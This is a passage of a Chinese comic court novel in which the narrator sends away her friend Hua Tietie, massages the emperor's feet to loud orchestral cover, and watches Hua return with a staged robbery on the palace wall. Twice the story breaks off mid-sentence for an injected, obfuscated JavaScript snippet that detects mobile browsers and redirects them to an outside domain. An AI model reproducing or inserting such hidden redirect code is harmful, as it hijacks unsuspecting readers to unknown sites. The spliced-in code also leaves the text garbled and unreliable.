“哼,你还真是个大王霸,天底下的秤砣都叫你吃了是吧!”花铁铁几次自找台阶都叫我无情撤了,脸色很难看,一个飞身上了高高的宫墙,作势要走,却还是迟疑下来,咬了咬牙,转头问我:“以前,咱们也这样,天大的篓子我也不是没捅过,你都没像这样生气,赶我走,叫我滚!如今是怎么了?就因为你现在是大汉朝廷的狗了,不用再念江湖情分了是吧!”花铁铁失望极了。 “要说情份,你我刎颈之交,过命的交情,咱们可不光是江湖情份这么简单!”我别过头,眼里噙满泪水。 花铁铁也动容了,要从墙上下来,我抬手一挥,一道内力把她阻回去,不卑不亢道:“跟我是不是狗没关系,跟我念不念旧情更没关系,你惹祸作死,我家陛下不治你的罪,我也没什么好计较的。实在是咱俩太五行相克,你再留下,我早晚给你折腾死。” “以前,我差点害你走火入魔,损了一身修为,也没听你说我克你。如今赶我走了,倒把这些牛鼻子念叨的老婆婆经搬出来说嘴。”花铁铁觉得我给的理由不充分,她可以接受我直接了当的翻脸,却不能忍受一丁点的敷衍。 “以前,以前,都说是以前了。”我红着眼睛,扯着嗓子,含着泪道:“以前有人护着我,现在没有啦,能压制得住你,护着我的那个人他死了,头七还没过!”这个时候提及杜晦,是最好不过的了。 花铁铁瞬间没了气势,是啊,以前我们三个相生相克相互压制,现在少了一环,那个和谐完美的圈就不存在了。 良久,花铁铁向我恭手行礼,告别:“山高路远,江湖不见!”不等众人反应,她已身轻如燕,翩然而去。 堂邑夫上前几步,痴痴地望着花铁铁消失的方向。 几日相处下来,平安也对花铁铁有了感情,骤然离别,心里空落落的。 只有柳花郎一脸轻松舒畅。 刘景许久没有宠幸妃嫔,昨夜与贤贵妃辛苦耕耘,早上起身,便觉浑身酸痛,批完奏章,身子越发劳累疲乏,午后小憩时分,传我去汤泉宫正宫后殿给他调理。给皇帝推拿按摩,以放松肌肉为主,不能像给惠王那般用实劲儿,是以手法不能太重,未免效果微弱,我平素都结合手法灌输内力,配合治疗。 刘景舒服的伸了伸懒腰,又说小腿最近总是酸痛疲乏,夜里还抽筋儿。我于是给他把脉,开了一个对症的药膳方子给他滋补,叫待下去隔水文火熬煮两个时辰。然后亲自烹了一些药材给他泡脚,并做足底点穴养生治疗。 足底敏感,穴位经络,联通全身,刘景体虚,稍一施力,便忍不住叫起来,听着有些不雅,我心中惶恐,打算停手,但刘景却觉得十分舒爽,效果不错,叫我继续,得到应允,我便任劳任怨,兢兢业业,忠心为主…… 痛并快乐的刘景,一脸享受地咬着牙,隐忍着闷哼,他自觉失态,有些羞涩,又是咳嗽,又是扶额,又是捂脸,动作略多且稍显忙碌,力图缓解尴尬。 于是善解人意的我,立即叫来柳花郎和平安在内殿屏风外演奏,加以遮掩,我可真是个贴心的小棉袄! 22. 交响乐 柳花郎一听是要掩盖叫声,说必须是乐器之王唢呐。此言一出,乐人们都变了脸色,平安无力的呵呵,少有地说着冷笑话,问是要给咱们都吹走吗? 唢呐一响,必有大事,柳花郎敢对着体弱的天子吹唢呐,简直是大逆不道。可宣召他们目的是掩盖叫声,除了乐器“流氓”唢呐,众人一时间也着实想不出,还有什么乐器更合适。 乐府府正道:“咱们最近组建的交响乐团,虽然眼下人来的不齐全,也都还在排练中,但是像这种临时召见的小演出还是可以拉去应应急的。”毕竟遮掩声音为主,欣赏音乐为辅,对演奏的水准要求应该不高。 乐府府正一向尽职尽责,他痴迷音乐,做事认真,向来御下严苛,最不喜见乐人清闲躲懒,是以底下的乐人们上哪当值都随身带着轻便的乐器,自从协律郎柳延年组建交响乐队,新式乐器打造出来以后,中小型乐器都配备了乐器箱,更加方便携带。 乐府的乐人都是有些本事在身上的,临时演出,突发情况,他们都能应对自如,虽然来汤泉宫当值的交响团成员乐人和乐器不齐,把平安这样的编外人员都算上,也仅能勉强算是半支乐队。 但他们还是抬着大鼓,扛着盘缶,背上乐器,捧着乐谱,走马上任,来的路上就协商接洽好了演奏事宜,决定演奏一场别开生面,声势浩大的交响乐演奏会。《广寒宫破阵曲》《太阳照常升起》《精忠报国》《赛马》……他们竭尽浑身力气演奏着,振奋人心,澎湃激扬的音乐,把陛下的叫声遮得密不透风。 果然,有些东西就是很玄学,不信是不行的,即使我很喜欢花铁铁,但我们也是不能在一起长久玩耍的。她一走,我事事顺心,即使抱着皇帝的大脚丫子,我都觉得格外芬芳异常欢喜。 心情一好,浑身就有使不完的劲儿!小手真是给力极了!配上波澜壮阔的音乐,我超强的节奏感也被调动起来,好似一匹在草原上无拘无束,奔驰飞跃的小马。 刘景叫得也很有节奏,“啊……啊……呜……哦……啊哈……朕的长安……” “啊?怎么了?”在恢弘的音乐中,我伸着脖子,侧着耳朵,扯着嗓子,大声询问。 刘景胀红着脸,这音乐真带感,真给力,都给陛下整得血脉贲张了。只见他顿了顿,也扯着嗓子回道:“真!棒!”说完还学着平安平时表扬我的样子,给我竖了一个大拇指。 “谢陛下夸赞!”那我必须得更棒,我得配得上天子的夸奖,我可是忠肝义胆,忠心耿耿的长安啊,陛下就是我的神明,神明夸我棒,我必须得更棒,肝脑涂地,发愤图强,于是我干得更起劲儿! “啊啊啊啊……啊!” 瞧给陛下开心的,多爽多快活啊,我真是甚得帝心啊! 随着音乐,刘景尽情地释放。不得不称赞一下柳花郎,这个交响乐真是太神奇了,它让人不由的兴奋,它对人体感官的刺激,不亚于我的足底点穴疗法。 我按得很投入很尽兴,跟着激情四射的音乐,一边洒脱豪放地随着节奏摇头摆尾,一边对皇帝的大脚上下其手,沉浸其中难以自拔,不由感叹:啊!真是一个美好的午后啊! “长安这小手果然适合做足疗哈,都给陛下舒服睡了。”间奏空隙,屏风外的柳花郎见皇帝不声不响地睡了,便大着胆子和平安低声交流起来。 平安狐疑地转头透过屏风看了看,见皇帝果然睡了,便停下弹奏,轻声问:“……长安,陛下睡了,我们还继续吗?” 嗯?睡了,什么时候睡的,我按得这么舒服吗?这么大动静都睡得着?“不用了,你们也下去休息吧。”他都不叫了,自然不必再继续演奏了。 由于刚才交响乐的声音太大,我们根本没有意识到自己认为的轻声细语,其实是高声朗语,不过也没关系了,反正最高上位者已经被我们伺候地舒舒服服睡着了。 我看着熟睡的刘景,觉得哪里不对,却又说不上来,以前我给他推拿按摩放松身体,他也有睡着的时候,但都有呼噜声,这一次好安静啊,而且睡得好突然。 我缓缓放平刘景的大脚,把他摆正身体,给他肚子上盖好薄被子。然后,像从前一样,趴在他身边看书,等他醒来。 平安帮着刘橡种了一个新的灵根。平安说如果不慎打翻了一碗水,不要伤心,不要难过,因为这碗水注定要打翻,任何人也不能阻止它要被打翻的命运和结局。 即使灵根摔坏了,我们也曾享受了栽培它的过程,享受了捧着它看着它期待它慢慢长大的欣喜和快乐,那份良好的祝愿和温暖,让我们感到无比幸福,那就没有辜负它曾今的存在和价值。 所有的经历都是有用的,我们会吸取第一个灵根失败的经验,更加懂得如何珍惜现在的灵根,毋庸置疑,如果这个灵根还是注定要摔坏的灵根,那么它还是会因为各种各样我们始料未及的原因摔坏,我们坦然接受就好了。 摔坏了,就再种,继续摔了,继续种,相信我,我们总会遇上那个注定不被打翻,注定成功养成的灵根。这就是所谓的尽人事,听天命。 平安说的话有时候真的很惊艳,就像她唱的那些歌一样。 读书使我快乐,知识让我沉沦,不知道刘景是什么时候睡醒的,当我不经意抬头对上他的视线,他正侧躺着枕着胳膊,凤眸微眯,唇携浅笑,慈祥又宠溺地看着专注读书的我。 “陛下醒啦。”我眼睛一亮,开心地说着,轱辘一下翻身下榻去门口,叫人进来服侍皇帝起身。 这一觉,刘景睡得很舒服,神清气爽,饶有兴致地牵着我出去散步。 皇帝即便简简单单散个步,也是有一大群人跟着的。比如明明说要走走的,可后面还是抬着皇帝御辇伴驾,兴师动众的,刘景有些无奈,但这些都是宫人们必须遵守的规矩,皇家该有的派头,皇帝也不能随意废止,只能拖着这条长长的“大尾巴”。 除了那条大尾巴,还有一条小尾巴,刘景喜欢太子陪在身边,太子也总是喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14414210|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伴随左右。加上太子的近臣郎官伴读,以及两宫尉卫,还有惠王平安堂邑夫柳花郎……是以这条小尾巴,也不比那条大尾巴短。 宫道长长,长长,高高的宫墙向前无尽地延伸着,把天空切割的狭长而遥远。刘景看着前方,忽然转身回望,然而身后都是人,他看不见来时的路,不禁摇了摇头,笑了笑,牵着我继续往前走。 刘景忆起往事,便给我讲起从前他在民间和元妻的乡村生活,他说他虽然是个读书人,可那时候年轻,身体健壮如牛,家里的几亩地都是他自己亲力亲为亲自耕种的…… 正说着,就听高高的宫墙头上,一个明朗少女的声音传来:“此树是我栽,此路是我开,要打此路过,留下买路财。” 我一听就头疼,这个花铁铁,“你是有什么大病吧,不长脑子还是没长眼,哪儿啊你就打劫,这里是皇宫,宫道光秃秃一棵树都没有,路也是皇家的,你在这儿打劫?打皇帝的劫?这位大姐你好不好换个地儿死去。”我挡在刘景身前,一副护驾的样子,对着宫墙上吊儿郎当的花铁铁一顿奚落。 在皇宫打劫,你要是成功了,你就是劫道上的祖师奶,修祠建庙,享受烟火,名垂千古的那一种!可这种万无一成的事,都是做梦! 郎官随从尉卫们迅速将上位者们层层护住,手握兵器蓄势,随时准备出锋,跟我一起防御花铁铁。 刘景却勾唇一笑,挥手示意众人不用过分紧张,防御做做样子就可。他是求贤若渴,惜良爱才之君,总是对出类拔萃有真本事的人,格外高看一眼,是打心眼儿里忍不住的喜欢,所以更加宽以相待。 可那毕竟是天子,到底有个底线啊我滴花大姐,你不想走,你想回来,你好不好找个好法子……不,法子不用好,甚至都可以称不上是个法子,但能不能像样点儿?!走了这大半天,就想出打劫这么个找死的开场吗?那你这是要在永远离开我们的道路上越行越远啊,嘴上吆喝着不想走,言行举止哪一样不是南辕北辙? 还说全天下的秤砣叫我给吃了,我看是你铁了心变着花儿,讨我嫌惹我怒引我恨,逼着我赶你走吧。你如此死性不改,我怎么好放心任由你留下啊,就这智商,留下来干什么?逮一个机会把大汉也炸成废墟吗? 我浮想联翩,甚至脑补到花铁铁日后在作死的道路上,拉着我们一起在劫难逃,告诉我们什么是插翅难飞,让我们清醒的意识到,只要身边有她,就不用担心——绝对没有逃出生天这回事儿。 就算我们拼尽九死一生之力,死里逃生,她也要再生枝节,刷新帝王对她不知好歹毫无下限一心求死的新认知,定要耗尽陛下对我们所有的宠爱和信任。 退一万步,就算上位者仁善得近乎偏执,对我们极端宽宥,也会因为花铁铁种种超乎人类言行极限的壮举,而根本没办法庇佑被她连累到罪大恶极的我们躲过律法的制裁,最终不得不挥泪将我们斩首示众?! 人间悲剧不过如此,绝望啊绝望!!! 23. 犹豫 杜晦是死了,但我还活着,花铁铁,你好不好考虑一下我的感受?想到这里,我简直要疯了。 却见堂邑夫两眼放光,不知何时悄咪咪地挤到前面来,虽然摆出架势和我一起御敌,但他那点小心思我还不知道吗,定是要随机应变,帮着花铁铁唱完这出乱七八糟的回归戏啦。 “卿本佳人,奈何为匪?”果然,堂邑夫给花铁铁递话。 宫墙上的花铁铁哈哈大笑,不理会堂邑夫,只对着我道:“这位和我一样满脸黢黑的小公子面善的很啊,别是有缘先前在哪里见过……” “上辈子!”我冷声打断。花铁铁,你怎么好意思提咱俩满脸黢黑这茬的?不是你给炸的吗? “啊哈哈哈,原来是前世的缘分。小公子方才的话说得在理,这地儿确实不适合打劫,嗯……不用换个地方死,地方我早前选好了,就选这大汉朝啦。我这佳人给‘人’断了后路,没地方去,无依无靠,空有把子力气,只能落草为寇,我现在我生是大汉的草寇,死是大汉的鬼匪。”花铁铁一副痞里痞气赖上大汉的样子。 我主子是刘景,花铁铁所有的话虽然都对着我说,其实就是说给刘景听的,她这是在袒忠心,表诚意。 花铁铁身份特殊,先前并没有投靠大汉的打算,只因身陷刺杀太子一事之中,巧合之下,随我入的汉宫。是经我一番晓之以理,动之以情的游说,才临时起意投身汉庭,宫中多耳目,上位者自然洞悉。我们又抬出花铁铁花家将后人的身份,和收复河西的远大目标,可上位者都不做反应,这种反应本身就很耐人寻味。 刘景迟迟不肯召见花铁铁,那么她和刘景只能一直靠我牵丝连带,始终没有直接机缘攀附。无论如何在太子遇刺案中,她都出手相助,算是救了太子,但是入宫后就这么一直被晾着,她受不了。尤其是看到与她旗鼓相当的我珠玉在前,圣眷正浓,她就更难受了,她可是高傲的花铁铁,万不能被我比下去的花铁铁。 可她也不想想,天子很忙的,忙着处理政务,忙着平息太子遇刺案,忙着权谋争斗,忙着与太后母慈子孝,忙着和梁王兄友弟恭,还要忙着关心伤病的儿子,抚恤大受打击的嫔妃,忙着……脚不离地!根本分不出精力,把她一个江湖女子,当成什么很重要的人物隆重接见。花铁铁在江湖上前呼后拥备受追捧惯了,在她看来在汉宫的这几日,全是冷落。 于是她打了韩燕熙,上位者没理她,于是她僭越了太子,上位者没理她,于是她炸了小厨房,上位者还是没理她。倒是把我折腾的不轻。她一向独主意,并未与我事先通气,从暗戳戳到光明正大,等我回过味儿,自然伤心失望。 刘景态度怀柔,表面看着对花铁铁所作所为甚是宽容,但心中如何打算,到底晦暗不明。也对,毕竟接受和驾驭花铁铁这样的人,对上位者来说也是极大的挑战,有些决定不能轻易拍板。 花铁铁这个大傻子,钻了牛角尖儿,她越是心急,越是吃不着热豆腐。上午炸完厨房,一起沐浴,洗去身上黑灰的时候,四下无人,只有我、花铁铁、平安三个,我与她开诚布公,可我怎么劝说她也不应,怕她还有大事发生,防患于未然,我只能无情翻脸赶她走。 所以,糖不至于,鸡也不至于,都是小事儿,我拎的清,生完气就得了,但涉及我背后更深远的谋划和布局以及重要之人,就很至于。 眼下她去而复返,果然又是这般行径,无异于硬上,但好在她胆大心细,到底谨慎,通过我来旁敲侧击。她可不真傻,我的话她多少听了些进去,我们这样复杂的人接近天子投诚效忠,就跟男人追女人一样,倘若被一口拒绝,就彻底没了回旋机会。 上位者的态度暧昧在我看来是好事,但对花铁铁来说不能一直不给准信儿,进宫几日,太子遇刺案都已结案落定,她依旧不得正式召见,她就沉不住气了。花铁铁性子急,她和我不一样,不爱循序渐进,喜欢直接了当,所以这几次闹得一次比一次厉害,就是为了吸引上位者的注意力。 鲁莽!!也不看看刘景是个什么性子,她这般直给,一向温润含蓄的刘景,体验感能有多好?哼,就算以后她能留下,他们君臣之间也有的磨合呢,我可不愿意给他们当润滑油。所以不管花铁铁此次投诚,能不能成功一击命中,我都得摆明态度,把自己摘出来才好。 江山易改禀性难移,花铁铁对自己的德行,十分有自知之明,她改不了,她所幸一不做二不休,极度赤诚,极度纯真的将自己,完完整整的展露到上位者眼前。让上位者有足够的观察视野,短期内最快最透彻的了解她,最终判断是否用她。 她拿我当桥,拿我做缓冲,给自己和上位者留出足够大的空间和余地,可以,我愿意,我都愿意,毕竟以后我也有些事,也真能借到她的力,朋友就是互相成就。 但她是把双刃剑,这脾气这性子,别说上位者犯嘀咕,我也得考虑明白衡量清楚,她倒底是利大于弊,还是弊大于利。我一路走来太不容易,实在很怕拖累,我也有我自己的伟业要完成,我身家性命都压上了,容不得半点差池和失败。 这几日,她频频出岔子,起初我也耐心劝说教导,怕她吃亏护她周全,为她小心思量,精心谋划,先前她还嘴上答应,上午沐浴谈心,她干脆不语,我便笃实她心里拿定了主意,坚决要以最快最扎眼的方式,直接闯入上位者的视野,至死不渝。小厨房都炸,我真不敢想接下来她还要怎样! 唉,花铁铁与我实力相当,江湖地位齐平,又都是发号施令,自定决策的掌门,到底不是我能把控和制约的,我便越发犹豫,与她绝交,赶她离开,都是真的。 不料,却逼得她更加剑走偏锋,来了这一出打劫的戏码! 是了,她说的对,她无处可去了,南唐她回不去了。刺杀大汉太子的事,最终定性为南唐摄政王所为。花铁铁今儿个一早得知后,大惊问我,此案直接受益者是谁不是摆在眼前了吗?明明大汉御弟梁王的嫌疑更大,为什么最后竟一股脑儿全赖在摄政王身上了?! 我说,不往那个乱臣贼子身上甩锅,难道要彻查到底,昭告天下,大汉皇室表面一团和气,实则暗藏汹涌,权谋挣斗已经到了剑拔弩张你死我活的境地?那岂不是火上浇油,乱上加乱?脓包还未烂透,有些事能不拿到台面上就不能拿到台面上。刀子没进肉,就当没看见,当个哑巴亏吃了呗! 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她又是个不甘寂寞的人,无法忍受彻底隐退,相声匿迹的生活。 她说的没错,有“人”断了她的退路,而那个人就是我,所以,我得给她续上去路。之前我是一心要给她续上,都谋划好了的,静待时机便可。可是,经过她三番五次的夺命折腾,我…… 正犹豫着,堂邑夫又给花铁铁递话:“今有大汉明主,姑娘何不投诚。” 竟敢越过我去!?小子,你放肆! “哪有你说话的份儿!”给你指令了吗,你就递话。我狠狠踢了堂邑夫一脚,叫他滚一边儿去。我没不让你帮她,你急切什么?果然男人一动了情,登时就没了脑子!如此明显刻意又拙劣生硬,当上位者是傻子嘛,搞不好,满盘全输。 花铁铁依旧无视堂邑夫,按照她自己的剧本往下做戏,继续假装我们是初次见面的样子,抱拳行礼自报家门:“在下大宗山花铁铁!不知小公子是哪路英雄?既有明主可否引见?” 我擦我脑子又是一疼,带不动真是带不动啊,我在花铁铁身上仿佛看不到一点希望,堂邑夫这么直给,你还真敢接,这下谁还看不出来,你是冲着天子来的? 对,没这一出,也都知道你是冲着天子来的,但你继续之前你的行事做派啊,做什么又学我的风格,非要飙戏,却没那个实力,弄得这么不伦不类?!上一个硬学我的(杜晦养子杜威),死得有多惨,你又不是不知道!我对花铁铁很是头疼,简直无话可说。 花铁铁乱七八糟的回归戏七零八落,在场的这群平时自诩看事透澈的精明人,一下子竟被她搞得稀里糊涂,不知所云,不过,也好,花铁铁是有些气运在身上的,浑水摸鱼的时候,总能歪打正着。把他们都弄糊涂了,花铁铁说不定能绝处逢生。 我见刘景虽面无波澜,却果然有些蒙圈。想来不动声色,是要打算继续观望,毕竟花铁铁是个有真本事的,刘景也确实爱才,于是看看这丫头到底卖的什么药,都弄清楚明白,才好再做决定。 花铁铁,既然学着我做戏,那就给你机会好好体验体验在上位者面前做戏,到底什么感受! 24. 嫉妒 我知道花铁铁在演戏,刘景等上位者也知道她在演戏,花铁铁知道我们知道她在演戏,我们也知道花铁铁知道我们知道她在演戏,可她依然在演戏,无所谓,人生大舞台,何时何地无时无刻都有戏在上演,谁演不是演? 孬戏好戏全凭演技,花铁铁演技这么差,几乎和穿帮无异了,但天子没什么表示,咱们就当他是爱看,毕竟前朝后宫里的戏份要比江湖更加精彩,谁还不是老戏骨啊!? 花铁铁演技笨拙,但好在剧本够乱戏路够野,倒也是盘新鲜可口的小菜,权当给刘景换换口味,调节放松一下身心。 那……我瞪了堂邑夫一下,示意:你们接着演吧,别带我,我和她不认识。 堂邑夫一脸委屈地揉着被我踢疼的屁股,余光接触到我的眼神,于是立即来了精神,对花铁铁抱拳回礼,一如当年闯荡江湖与之初识的绿林少年:“小香峰堂邑夫,这位是……”堂邑夫说着微微侧身抬臂,五指并拢手心朝上指向我,等着我亮相报名号。 唉,眼神示意,总有偏差,但也不至偏差这么多吧,我是应允了你做助演,但我也分明表示不要带上我,不要带上我,不要带上我,你特么还往我身上引,堂邑夫你什么时候转投的花铁铁?莫不是我给皇帝按脚的时候,你们私下……那倒不至于,真要私下见了,堂邑夫不会瞒着我。而且花铁铁断然不会与他私下见面。 哦,忘了这茬了,花铁铁是他心爱之人啊,堂邑夫英雄气短儿女情长,断不肯看着自己的心上人走投无路,死路一条,所以无论如何他都会铤而走险,帮上一帮,爱人的命和开罪我,他很会斟酌太会选。 我不接话茬,黑着脏兮兮的小脸儿,转身回到刘景身边,把自己的小手放回他的大手里,重新被他牵好,然后挺直腰板,傲娇地仰着头,摆着高贵的谱,端起十足的架子,表明自己坚定的立场和态度:我现在是个有依仗有背景有身份有地位的皇家小狗子,根本不愿意随意结交,外面那些个身份不明,无家可归,四处流浪,打家劫舍的野生小狗子。 当狗我是专业的,刘景配合地抚摸着我的小脑袋,对我的专业表示认可、赞赏以及喜爱。 我夸张地表演着傲慢,让花铁铁不禁有些冷场。 平安宠溺地看了我一眼,只当我是孩子脾性,还在跟花铁铁置气,微笑着上前对花铁铁福身行礼,柔声道:“很高兴认识你,铁铁姑娘,我是平安,是……这位小公子的……姐姐。”平安老早就想当我姐姐了,这下可逮着机会了。 平安说完就退到一边,满脸堆笑,兴奋地朝宫墙上的花铁铁招手,很是欢迎她的回归,又给我狂使眼色,叫我赶紧搭话。 这出戏里,最自然的就是平安啦,她完全在状况外,只天真单纯地以为是花铁铁回来找我复合了,欢喜不已,难掩激动,于是努力配合,竭力撮合。 堂邑夫和平安的热情,显得我越发冷漠。我不是无情,只是作为一个身负重任的人,我必须保持该有的理智。 花铁铁自信没有我她也一样能赢得上位者的宠信,想与我和好,顺便找我帮忙是给我面子,我这般不领情,实在是给脸不要脸,有些失望,伤心,堵得慌。 花铁铁看了看刘景,见上位者没有异样,便了然这是机会,心中自有一番思量,黑着同样脏兮兮的脸,对我娇嗔道:“喂,我自己给自己硬找台阶下,你别给我撤梯子好不好?” 她这是在点化我,警示我,可以不给她当桥,但也别给她拿乔。 哦,我忽然恍然大悟:呵,我说怎么绕这么大一圈子,非要纠缠着我演这出初相识的戏份儿,原来是这么回事儿。 倘若我愿意配合,与之重新结识,那自然而然给她搭戏,帮她助力。倘若我不愿意接茬,那就置身事外,别拆她台,坏她前程。 这个花铁铁,看着虎了吧唧的,几年不见倒有长进,读书不多,却也有些智慧在身上。 “没撤啊?”我一脸无辜:“你自己站墙头上下不来,跟我什么关系!怕高啊,怕高别上啊,自己逞能,怪得了谁?” 我于是亮明态度,不给她借力,但也绝不会给她掣肘。言外之意,该说的我早说了,可你花铁铁没听啊,你自己性子急,非要乱来硬来,既然有本事把自己驾上去,就得有本事让自己落下来。左右跟我没关系,我不帮忙也不坏事儿,结果如何怪不到我头上。 情分归情分,本分是本分,我仁至义尽! 花铁铁闻言心中安定,表面上却被我激到似的,“啧”了一声,大叫一声:“谁说我下不来!?”足尖轻轻一点,翩然而起,逆光而来,她脸上虽然脏兮兮的,但到底是个绝色,像一个踏着紫霞,衣袂飘飘乘风飞舞的仙子,堕入人间。 肤白貌美大长腿,酥~胸翘臀小蛮腰……好嫉妒啊,哼,显摆啥!?我才不会让你优雅落地。于是,“啊……”的一声,花铁铁摔了个大马趴。 我得意极了,暗爽的要跳起来雀跃。一手因兴奋畅快不由自主地紧紧回握着刘景牵我的手,另一只手不着痕迹地收力反腕,负于身后,靠在刘景身上,没事人一样。 刘景将我动作尽收眼底,见我脸上全是得逞的狡黠,只觉可爱,不由勾唇一笑。 平安蹙眉捂嘴,惊叫一声,穿过层层守卫,快步跑上前去,蹲下身子扶起花铁铁,急切地询问摔着没有。 这一下摔得是挺狠的,花铁铁完全顾不得形象,分腿跪坐在地上,轻轻倒在平安怀里,捂着摔疼的胸口,脸色灰白(本来应该是惨白,但是我们脸上有洗不掉的锅底灰),额角和脖子上的青筋微微暴起,铺满一层汗珠,随着一声喘息,唤起侍儿扶起娇无力的妩媚,这种痛苦后的虚脱,很容易勾起男人们的浮想联翩,太让人心动了。 可她好胜,倔强地不肯示弱,只皱眉咬唇,暗暗抽吟,毫不自知此刻的她,竟美得犹如先秦典籍残卷中,传说的沉鱼绝色病西施……连平安都看痴了。 花铁铁憋了好半天,才艰难地咬了咬下唇,道:“太特么疼了。” 本来我见犹怜,瞬间没了心情,我想在场的男子都是这种感受。不过事实证明我想错了。 平安直接跪下身子,让花铁铁踏踏实实的倚在她怀里,一边帮她揉抚,一边心疼道:“铁铁,你以后不要乱爬墙头了,虽然你本事大,但马有失蹄人有失手,这么高的地方,啪叽一下,直挺挺的趴下来,摔疼是轻的,万一摔坏了可怎么办。” “嗯?摔坏了?……那还了得?!”花铁铁愣了一下,这可不能摔坏啊,日后老娘还指望它奶孩子呢,这可是我孩儿的口粮,可不能摔坏喽哇……花铁铁旁若无人地一边嘟囔着一边警觉地背过身去,慌慌张张地扯开衣领低头看。 花铁铁这个大虎叉还知道避人,已经很不容易了,毕竟她有转过身去,说明也不是完全不在意现场有多少人。但我还是觉得我和她划清界限,简直英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14434736|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明神武!现在完全可以确定,这个大虎叉那点利微乎其微,全特么是弊! 我往刘景身后靠了靠,表明自己不想认识那个虎叉的坚决态度。 那边平安脸红到了脖子,扶了扶额头,叹了口气,把花铁铁的衣领“唰”地一下合上,急切道:“铁铁我说的是万一,就算摔坏了,咱找个没人的地方看行吗?你又不是单单摔了这里,哦我的意思是说,伤的也不仅仅是这里,我说的是你整个人!是说你浑身上下……哎……我……你……啊……停手吧,铁铁!” 随着平安的话语,花铁铁开始撸起袖子检查胳膊,撩起裙子检查膝盖,她动作太快,平安的手完全跟不上去阻拦,便有些急切,说话的速度也快了许多。 却见那个虎叉听到“浑身上下”四个字,顿时虎躯一怔,下一刻就开始解腰带……平安潜力爆发,终于眼疾手快,赶得及一把按住花铁铁,她简直要被花铁铁羞死了,我滴妈耶!昨天这时候疯了一个七皇子,今儿这时辰又疯了一个花铁铁!穿越的剧本就是一个字——疯! “没事没事没事,我有数我背对着他们,他们看不见!”花铁铁是江湖儿女,向来放浪形骸,放荡不羁,往好听了说是不拘小节惯了,不好听的就自行脑补吧。反正她大多时候豪放得比男人还男人。 现在还好了,已经像个女人了,以前夏天上身就穿一个花肚兜,也不是没钱买衣服,就是单纯火力大,穿不住衣服。所以在她看来,只要不是一~丝~不~挂,就不算光腚。 花铁铁还是在光天化日之下,给自己做完检查,见身上无有异样,才放心下来。说她爱惜自己身子吧,她还不分场合就宽衣解带,你说她不爱惜自己身子吧,一听说有可能摔伤她还急不可耐迫不及待就地检查。 在场的都是正人君子,自然或别过脸,或侧过身,垂目躲避。但内心绝对没有表面克制的那样平静……花铁铁还真是人间炸弹,走哪炸哪,见谁炸谁! 柳花郎后来听了我这番言论,说我总结的不到位,说花铁铁这种类型不是简单的炸弹,而应该定性为雷,雷电的雷。当时,他刚一说完,就晴天霹雳,平地惊雷,电闪轰鸣。于是我们切身感受到什么是犀利,对于花铁铁,柳花郎果然还是更有发言权一些——太特么准确了! 这会儿,柳花郎在人群最后面,眼观鼻,鼻观心,让自己毫无存在感可言,他可不想让任何和人想起,他曾经和这个雷死人的花铁铁,有过一段形影不离被迫相守难以启齿的至暗时光,他丢不起那个人! 而都是江湖出身,又是青梅竹马的堂邑夫,一点也不觉的花铁铁有什么唐突之处,毕竟以前我们都还没长好的时候,一起下河摸鱼,游湖渡江,谁没见过谁啊?摔了就该赶紧看一看有没有摔坏哪里,他比花铁铁还担心,听说完好无损,他也松了口气。刚才那一摔,他心都疼碎了。 此刻,堂邑夫只满眼宠溺,满心喜欢,嘴角怎么也压不住,觉得花铁铁在天子面前也泰然自若,毫不扭捏,大有他看中的女子就是和别人不一样的盛赞之意。 嗯,确实不一样,蝎子拉屎独一份儿,天底下就这一个,你小子好好看着,别叫她摇哪乱跑,不然以后给你每根头发丝上,都拴上一顶充满生机盎然的帽子,你得老开心了,开心到老!我恨铁不成钢地斜了一眼一脸没出息的堂邑夫! 再看平安简直失魂离魄、呆若木鸡,用她自己的话说就是:已石化,离线中…… 25. 劫色 原来这就是所谓的失去一切力量和手段,平安极度震惊之后面如死灰,最后完全放弃,她忽然觉得我不留下花铁铁,很有深意和远见,于是对花铁铁郑重道:“铁铁,相濡以沫不如相忘江湖,此去山高路远,你多保重,我送你出宫。” 彼时花铁铁见自己完好无损,一脸劫后重生心有余悸的样子,正捂着胸口长长舒着气,没想到平安变脸变得这么快,她又实在舍不得对着温柔可爱的平安发脾气,便有些委屈,可怜兮兮地道:“我又怎么啦嘛?你也赶我走?” “伴君如伴虎。”平安趴在花铁铁肩头低声耳语,做着最后的好言相劝,“你这性子留在帝王身边,没戏。” 未必……花铁铁是胭脂虎!刘景是真龙……我耳廓轻微颤抖,凭借惊人的耳力,将平安的话尽收耳中。 我小手一直握在刘景手里,方才忽然感知他的脉搏有异动,便立即警觉,余光小心留意着刘景神态,但见他深邃如渊的凤眸,划过一丝不易察觉的波澜,心跳瞬间就跟着乱了起来——花铁铁竟然居然果然有戏! 我心里顿时五味杂陈,我不希望她回来连累我,却也衷心希望她有条活路,所以我打算等她投诚失败,就把我长安城里的大宅子送给她,她和平安一起吃喝玩乐,嫁人生子,我们做一辈子好姐妹。 可当她真的有机会凭借自己的力量破冰,我又抑制不住地嫉妒起她的光芒四射了。 美丽的皮囊千篇一律,有趣的灵魂万里挑一。虽说各花入各眼,但花铁铁这朵粗鲁的铁花,她就是有本事往男人眼里心里使劲儿扎。偏又对自己这种与生俱来的能力,蠢蠢笨笨不自知,倒也别是一种天赋了! 